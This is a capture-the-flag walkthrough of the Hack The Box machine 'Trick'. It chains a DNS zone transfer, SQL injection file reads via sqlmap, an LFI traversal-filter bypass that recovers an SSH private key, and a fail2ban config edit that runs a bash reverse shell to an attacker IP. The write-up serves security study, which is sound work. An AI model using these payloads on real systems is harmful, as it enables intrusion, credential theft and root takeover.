Skip to content
Archwarden
Go back
HTB: Trick
HTB
Linux Easy Retired

HTB: Trick

View Report
Techniques DNS Zone Transfer (AXFR)SQL InjectionSQLMap File ReadVirtual Host EnumerationLocal File InclusionPath Traversal Filter BypassSSH Key RecoveryFail2ban Action AbuseSudo Misconfiguration

Summary

Trick is a Linux box that chains several classic misconfigurations into a clean end-to-end path. An exposed DNS server with unauthenticated zone transfers leaks an internal subdomain hosting a payroll application — which turns out to be SQL injectable. The database user has FILE privileges, so we read server configs directly and find a second virtual host. That site has a local file inclusion vulnerability protected by a path traversal filter that’s trivially bypassed. PHP-FPM is misconfigured to run as the target user, so the LFI reads sensitive files out of the home directory — including an SSH private key. On the box, a writable fail2ban action directory combined with a NOPASSWD sudo restart rule turns a single modified config line into a root shell.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

As always, begin with a full TCP scan.

sudo nmap -p- --min-rate 1000 -T4 10.129.227.180 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run detailed enumeration:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.227.180
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp    Postfix smtpd
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22 (SSH) — standard entry point if we recover credentials
  • 25 (SMTP) — local Postfix, likely not externally routable but worth noting
  • 53 (DNS) — this is unusual on a web box and is almost always significant — check for zone transfers immediately
  • 80 (HTTP) — Nginx 1.14.2, no domain name in the banner

DNS Enumeration — Reverse Lookup and Zone Transfer

With DNS on port 53, start there before touching the web server. A reverse lookup against the target IP often recovers the domain name when it isn’t obvious from banners.

dig @10.129.227.180 -x 10.129.227.180

Reverse DNS lookup returning the domain trick.htb

The domain trick.htb is confirmed. Add it to /etc/hosts, then immediately request a full zone transfer — AXFR hands over every DNS record in the zone if zone transfers aren’t restricted to authorised secondaries.

dig @10.129.227.180 axfr trick.htb

DNS zone transfer returning all records including preprod-payroll.trick.htb

The transfer succeeds without authentication and returns the full zone — including the subdomain preprod-payroll.trick.htb. Add it to /etc/hosts.

Finding 1 — Unauthenticated DNS Zone Transfer Exposing Internal Infrastructure

Web Enumeration

The main trick.htb site is a static placeholder — nothing interactive.

trick.htb static placeholder page

The interesting target is preprod-payroll.trick.htb. Navigating there reveals an employee payroll login portal.

Payroll login portal at preprod-payroll.trick.htb

A quick look at the page source gives us a feel for how the login form is built — single username and password fields, POST to the same page.

Default credentials (admin:admin, admin:password) don’t work. Time to test for injection.

SQL Injection — Payroll Application

Capture a login attempt with Burp Suite and save the raw request as request.txt. Then hand it to SQLMap:

Capture login request

sqlmap -r request.txt --batch --level=3 --risk=2

Because the CPTS isn’t about evasion, it’s ok to be a little noisier. This is why I chose to start with a higher level and risk than base. I find that the default SQLMap scan can miss injections, which might have you wasting time looking for something that isn’t there when it actually is.

SQLMap confirming SQL injection on the username parameter

The username POST parameter is injectable — boolean-based blind, error-based, and time-based blind are all confirmed. Before dumping the database, check what the database user can do:

sqlmap -r request.txt --privileges

SQLMap showing database user remo@localhost with FILE privileges

remo@localhost has the MySQL FILE privilege. This means we can call LOAD_FILE() to read files directly from the server filesystem — far more useful than the database contents.

Finding 2 — SQL Injection in Payroll Application Login Portal with FILE Privilege Read Capability

Confirm file read capability by pulling /etc/passwd:

sqlmap -r request.txt --batch --file-read=/etc/passwd

SQLMap extracting /etc/passwd — first page of output

cat /home/joe/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd

SQLMap extracting /etc/passwd — local user michael identified

One interactive user: michael — home directory /home/michael, shell /bin/bash. Everyone else is nologin or false.

Virtual Host Discovery — Nginx Configuration

With file read available, pull the Nginx virtual host configuration:

sqlmap -r request.txt --batch --file-read=/etc/nginx/sites-enabled/default

Nginx configuration file — first section

cat /home/joe/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default

Nginx configuration file — second virtual host preprod-marketing.trick.htb revealed

A second virtual host is defined: preprod-marketing.trick.htb, served from /var/www/market. This one wasn’t in the DNS zone transfer — we’d never have found it without reading the config. Add it to /etc/hosts.

Local File Inclusion — Marketing Site

Navigating to preprod-marketing.trick.htb shows a marketing site that loads its content dynamically via a page GET parameter:

http://preprod-marketing.trick.htb/index.php?page=about.html
http://preprod-marketing.trick.htb/index.php?page=services.html

Marketing site homepage Marketing about page loaded via page parameter Marketing services page

A page parameter that loads file content is an immediate LFI candidate. Try a standard path traversal:

http://preprod-marketing.trick.htb/index.php?page=../../../../../etc/passwd

This returns a blank page — the ../ sequence is being stripped. Testing confirms the filter removes ../ from the input.

http://preprod-marketing.trick.htb/index.php?page=../../../../../about.html

This still loads about.html as if the traversal sequence wasn’t there — the filter is stripping it.

A common filler is to search for ../ and remove it, so if we use …// after the filter processes it we get ../

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

/etc/passwd returned via LFI path traversal filter bypass

/etc/passwd returns successfully. LFI is confirmed.

Finding 3 — Local File Inclusion via Path Traversal Filter Bypass in Marketing Application

LFI — PHP-FPM Context and Key Recovery

To make testing easier, I captured a request in Burp Suite and sent it to repeater. Now, before reading anything else, check the process context. Reading /proc/self/cmdline tells us what user the PHP worker is running as:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//proc/self/cmdline

/proc/self/cmdline confirming PHP-FPM pool running as michael

php-fpm: pool michael — the PHP-FPM pool for this site is running as michael, not www-data. This is a serious misconfiguration that significantly amplifies the impact of Finding 3: every file michael can read is now accessible through the LFI.

Grab the user flag directly:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/user.txt

User flag read via LFI

Then recover the SSH private key:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/id_rsa

michael's SSH private key recovered via LFI

Save the key locally and set correct permissions:

chmod 600 id_rsa

Foothold — SSH as michael

Authenticate with the recovered key:

ssh -i id_rsa michael@10.129.227.180

SSH session established as michael

Interactive shell as michael.

Privilege Escalation — Enumeration

The first two things I check on any Linux foothold:

groups michael
sudo -l

michael's group memberships showing security group sudo -l showing NOPASSWD restart of fail2ban

Two immediate findings:

Fail2ban executes actions defined in /etc/fail2ban/action.d/ as root — specifically the actionban command when a source IP is banned. Check the permissions on that directory:

ls -la /etc/fail2ban/

fail2ban directory listing showing action.d owned by security group with write access

NOTE: This box has an agressive cleanup script running, so if you don’t move quickly you will find your work reset. If that happens, start over from here.

Here we see that the security group can write to the action.d directory.

cd /etc/fail2ban/action.d

action.d directory contents

However the file we need to modify ‘iptables-multiport.conf’ is owned by root and we can only read it. But because we can write to this directory we can do a little move-and-copy to take ownership of the file.

mv iptables-multiport.conf temp.old
cp temp.old iptables-multiport.conf

iptables-multiport.conf listed in action.d

The copy is now owned by michael.

Finding 4 — Privilege Escalation via Writable Fail2ban Action Configuration and NOPASSWD Sudo Rule

Privilege Escalation — Fail2ban Action Abuse

Inspect the original action file to understand the format:

Original iptables-multiport.conf showing actionban directive

Modify the actionban directive to execute a reverse shell script instead of the iptables command:

actionban = /tmp/shell.sh

Modified iptables-multiport.conf with actionban pointing to reverse shell

Create the reverse shell at /tmp/shell.sh:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.171/9001 0>&1
chmod +x /tmp/shell.sh

Reverse shell script created at /tmp/shell.sh shell.sh made executable with chmod +x

Start a listener on the attacker machine:

rlwrap nc -lvnp 9001

Starting a listener

Restart fail2ban to load the modified configuration:

sudo /etc/init.d/fail2ban restart

fail2ban restarted via sudo

Now trigger a ban event by making repeated failed SSH login attempts against the target — five or six is enough to hit the default threshold:

ssh michael@trick.htb   # repeat with wrong credentials

Repeated failed SSH logins triggering the ban

The IP is banned, actionban fires as root, and the reverse shell connects.

Root shell received Root flag retrieved from /root/root.txt


Takeaways

How this box helped me prepare for the CPTS exam

  1. DNS on port 53 almost always means zone transfer — The moment you see DNS exposed on a non-domain-controller Linux host, try dig axfr before touching anything else. Unauthenticated AXFR is a one-shot subdomain dump — it can expose entire internal namespaces in a single query. But be careful, as we saw with marketing there may be other vhosts out there that you don’t see. Fuzz and look at those config files.

  2. FILE privilege turns SQLi into a file reader — Once you confirm injection, check the database user’s privileges before dumping tables. A user with FILE privilege and LOAD_FILE() is far more useful than any database dump. The Nginx config was the key to finding the second virtual host — that wouldn’t have come from the database.

  3. Filter bypasses for path traversal are reliable and well-documented../ being stripped doesn’t mean LFI is patched. ....// is the classic collapse bypass and works whenever the filter runs a single non-recursive pass. On the CPTS exam, when a traversal attempt returns blank, try doubled sequences before moving on.

  4. Check PHP-FPM process context before reading anything/proc/self/cmdline tells you what user the web worker is running as. If it’s a real user rather than www-data, the blast radius of LFI just expanded to everything in that user’s home directory. Check for flags, SSH keys, and .bash_history immediately.

  5. sudo + service restart + writable config = privilege escalation — This pattern appears across multiple Linux machines and in real environments. If a user can restart a service as root, look at what that service loads on startup and whether any of those files are writable. Fail2ban, Sudoers-adjacent tools, and init scripts are all worth investigating under this lens. If you see a NOPASSWD: sudo action as a user in the CPTS, it probably is your path to privilege escalation.

  6. Trigger-based exploits need patience — The fail2ban escalation only fires when a ban event occurs. Build the payload, restart the service to load the config, then cause the trigger condition deliberately. Understand what the trigger is before you wait for something that might not happen on its own.



Previous
HTB: Forest
Next
HTB: Jeeves